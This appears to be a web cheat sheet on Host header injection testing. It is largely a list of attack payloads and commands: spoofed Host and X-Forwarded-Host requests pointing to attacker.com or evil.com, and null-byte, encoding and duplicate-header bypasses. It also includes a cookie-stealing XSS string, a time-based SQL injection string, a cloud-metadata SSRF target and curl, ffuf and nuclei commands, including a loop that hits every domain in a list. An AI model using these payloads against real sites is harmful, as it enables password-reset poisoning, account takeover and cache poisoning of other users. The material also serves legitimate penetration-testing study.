Loading...
Comprehensive guide to Host header manipulation techniques, from basic spoofing to advanced SSRF and DNS rebinding attacks.
Host header injection testing for cache poisoning, password reset poisoning, and routing bypass.
Last updated: 2026-05-15
Host Header Injection = web vulnerability when app trusts Host header without validationAttacker modifies Host header to make server believe it is handling a different domainImpacts: Cache Poisoning, Password Reset Poisoning, Open Redirects, Bypass security controlsSevere cases: Full Account TakeoverGET /reset-password HTTP/1.1
Host: attacker.comGET /admin.php HTTP/1.1
Host: attackertarget.comGET /admin.php HTTP/1.1
Host: https://target.com/admin.phpGET /admin.php HTTP/1.1
Host: subdomain.target.comGET /admin.php HTTP/1.1
Host: target.comGET /admin.php HTTP/1.1
Host: target.com:8080GET /admin.php HTTP/1.1
X-Forwarded-Host: attacker.comGET /admin.php HTTP/1.1
Host: GET /admin.php HTTP/1.1
Host: target.com
Host: attacker.comGET /admin.php HTTP/1.1
Host: 192.0.2.1Host: target.com%00.attacker.comHost: ../../attacker.comHost: %74%61%72%67%65%74.comX-Forwarded-Host: evil.com"><img src=x onerror=prompt(document.cookie)>X-Forwarded-Host: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'ZHost: internal-service.localTarget internal AWS metadata: Host: 169.254.169.254curl -I -H "Host: attacker.com" https://target.comcurl -I -H "X-Forwarded-Host: attacker.com" https://target.comffuf -u https://target.com -H "Host: FUZZ" -w hosts.txt -mc 200nuclei -u https://target.com -t x-forwarded.yamlhttps://github.com/coffinxp/nuclei-templates/blob/main/x-forwarded.yamlcat domains.txt | while read url; do echo "[*] Testing $url"; curl -sk -H "Host: attacker.com" "$url" -I; done#1: Cache Poisoning → Affects all users#2: Password Reset Poisoning → Account theft#3: Open Redirects#4: Bypassing IP/Host-based Access Controls#5: SSRF to internal services#6: XSS & SQLi in some casesType: Basic Spoofing | Main Usage: Changing links & emails | Difficulty: EasyType: Filter Bypass | Main Usage: Null byte, Encoding, Prefix | Difficulty: MediumType: Header Smuggling | Main Usage: Multiple Host, Leading Space | Difficulty: MediumType: Advanced Attacks | Main Usage: SSRF, XSS, SQLi, DNS Rebinding | Difficulty: AdvancedAlways start with Host and X-Forwarded-Host using attacker.comIf blocked, try bypass techniques (Null Byte, Encoding, Multiple Headers)Best tool for manual Host header injection testing
Fast web fuzzer for brute-forcing Host header values
CoffinXP Nuclei template for X-Forwarded-Host testing
Professional web security testing with Host Header Injection scanner
Official OWASP guide for testing Host Header Injection